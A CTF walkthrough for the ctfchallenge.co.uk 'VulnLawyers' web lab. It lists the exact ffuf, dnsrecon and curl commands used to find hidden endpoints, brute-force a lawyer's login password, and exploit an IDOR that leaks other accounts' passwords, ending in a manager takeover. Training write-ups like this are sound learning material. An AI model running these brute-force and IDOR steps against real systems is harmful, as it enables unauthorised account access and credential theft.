Ctfchallenge.co.uk | VulnLawyers
By: Chris Stacey
Tags: Web Testing, Cybersecurity, Pentesting, Hacking, Ctf Writeup

For my initial reconnaissance and enumeration I used dnsrecon, Sublist3r, dirfinder, cert.sh and ffuf. I always leave brute-forcing until last as I like to try and find as much information as I can as quietly as possible. I just think it’s best practice to do it that way to avoid detection in the real world. This challenge however had me diving straight into ffuf as I wasn’t able to yield any results from passive recon and I feel like this challenge in-particular relied heavily on brute-force techniques.

Tool: Dnsrecon

Command: dnsrecon -n 8.8.8.8 -d vulnlawyers.co.uk

Results: None Tool: sublist3r

Command: sublist3r -d vulnlawyers.co.uk

Results: None Tool: dirfinder

Command: python3 dirfinder.py -cookie=UNIQUE-COOKIE -d vulnlawyers.co.uk

Results: None

Because the above tools didn’t identify much information, I went into ffuf.

Command: $ffuf -b “ctfchallenge=UNIQUE-COOKIE” -w common.txt -u http://vulnlawyers.co.uk/FUZZ Results:

css [Status: 301, Size: 194, Words: 7, Lines: 8]

denied [Status: 401, Size: 1020, Words: 178, Lines: 30]

images [Status: 301, Size: 194, Words: 7, Lines: 8]

js [Status: 301, Size: 194, Words: 7, Lines: 8]

login [Status: 302, Size: 1119, Words: 197, Lines: 31]

There are two directories above that look interesting, /login and /denied. I know the others won’t be of much use as they’re only 194 bytes in size, and are likely just pages required to host specific web based files. I checked them out anyway found nothing.

Browsing to http://vulnlawyers.co.uk/login instantly redirects to me to http://vulnlawyers.co.uk/denied and gives a message stating that I “Cannot log in from this IP address”, so clearly that’s not going to be much use. There’s bound to be data here somewhere though, so let’s try curling to see if we can identify some kind of invalid forwarding, due to the fact that we’re redirected from /login to /denied.

Command: curl -H “Cookie: UNIQUE-COOKIE” http://vulnlawyers.co.uk/login

Here we find our first flag:

Figure 1. First flag in HTML from curl

Not only do we get our first flag but we see a href to another login portal:

<a href=/lawyers-only”>/lawyers-only</a></p>

Visiting http://vulnlawyers.co.uk/lawyers-only gives us another login panel that isn’t blocking us. Let’s try brute forcing the username field to find a valid logon:

Tool: ffuf

Command: ffuf -X POST -w namelist.txt -b “ctfchallenge=UNIQUE-COOKIE” -d “email=FUZZ&password=test” -H ‘Content-Type: application/x-www-form-urlencoded’ -u http://vulnlawyers.co.uk/lawyers-only-login

Results: None

No luck finding a valid username with fuff, and we’re currently not even sure what the naming convention is so I think we need some more content discovery as I’m not convinced we’ve found everything. There must be some place we can grab some users from.

We’ll try a brute force with dnsrecon:

Tool: dnsrecon

Command: dnsrecon -d http://vulnlawyers.co.uk -w namelist.txt -t brt

Results: data.vulnlawyers.co.uk: A : 67.207.71.104

Visiting http://data.vulnlawyers.co.uk takes us to an API page, which gives us an API version number and a flag.

Figure 2. 2nd flag from API page

So let’s once again fuzz our new domain:

Tool: ffuf

Command: $ffuf -b “ctfchallenge=UNIQUE-COOKIE” -w /home/user/wordlists/common.txt -u http://data.vulnlawyers.co.uk/FUZZ

Results: users [Status: 200]

Visiting http://data.vulnlawyers.co.uk/users gives us a flag a confirmation of naming convention alongside a few usernames we can brute force:

users

0

name “Yusef Mcclain”

email “yusef.mcclain@vulnlawyers.co.uk”

1

name “Shayne Cairns”

email “shayne.cairns@vulnlawyers.co.uk”

2

name “Eisa Evans”

email “eisa.evans@vulnlawyers.co.uk”

3

name “Jaskaran Lowe”

email “jaskaran.lowe@vulnlawyers.co.uk”

4

name “Marsha Blankenship”

email “marsha.blankenship@vulnlawyers.co.uk”

flag “[^FLAG25032EB0D322F7330182507FBAA1A55F^FLAG^]”

Now we have a valid list of Lawyer logins we can try brute forcing again and hopefully find ourselves a login.

Tool: ffuf

Command: $ffuf -X POST -w 10-million-password-list-top-10000.txt -b “ctfchallenge=UNIQUE-COOKIE” -d “email=*firstname.lastname*@vulnlawyers.co.uk&password=FUZZ” -H ‘Content-Type: application/x-www-form-urlencoded’ -u http://vulnlawyers.co.uk/lawyers-only-login -mc all -fc 200

Results: jaskaran.lowe@vulnlawyers.co.uk:summer

Now we can login to the portal:

http://data.vulnlawyers.co.uk/lawyers-only-login

Once we’re in we are presented with a flag and the managers profile details:

It says that changes can only be performed by Shayne Cairns, so we need to get his creds. Let’s see if the page is vulnerable to IDOR.

In burp, we can see that when we refresh the page, a GET request goes to:

GET /lawyers-only-profile-details/4 HTTP/1.1

This gives us:

“id”:4,”name”:”Jaskaran Lowe”,”email”:”jaskaran.lowe@vulnlawyers.co.uk”,”password”:”summer”

We send that GET request to repeater and change the link to:

GET /lawyers-only-profile-details/1 HTTP/1:

This gives us:

“id”:1,”name”:”Yusef Mcclain”,”email”:”yusef.mcclain@vulnlawyers.co.uk”,”password”:”Rk@c7#U3@2r%0f”

And again:

GET /lawyers-only-profile-details/2 HTTP/:

“id”:2,”name”:”Shayne Cairns”,”email”:”shayne.cairns@vulnlawyers.co.uk”,”password”:”q2V944a1³p”,”flag”:”[^FLAG⁹³⁸F5DC109A1E9B4FF3E3E92D29A56B3^FLAG^]

And again:

GET /lawyers-only-profile-details/3 HTTP/:

“id”:3,”name”:”Eisa Evans”,”email”:”eisa.evans@vulnlawyers.co.uk”,”password”:”Sn06#ibx@lGPG7"

We can see that when we sent our request to profile 2 that we got the managers profile, including his creds and a flag — this is our second from last flag! one more to go.

Let’s now try and log in as the manager, shayne.cairns@vulnlawyers.co.uk.

We see our homepage with a “delete case” button which once clicked gives us the final flag:

VulnLawyers complete.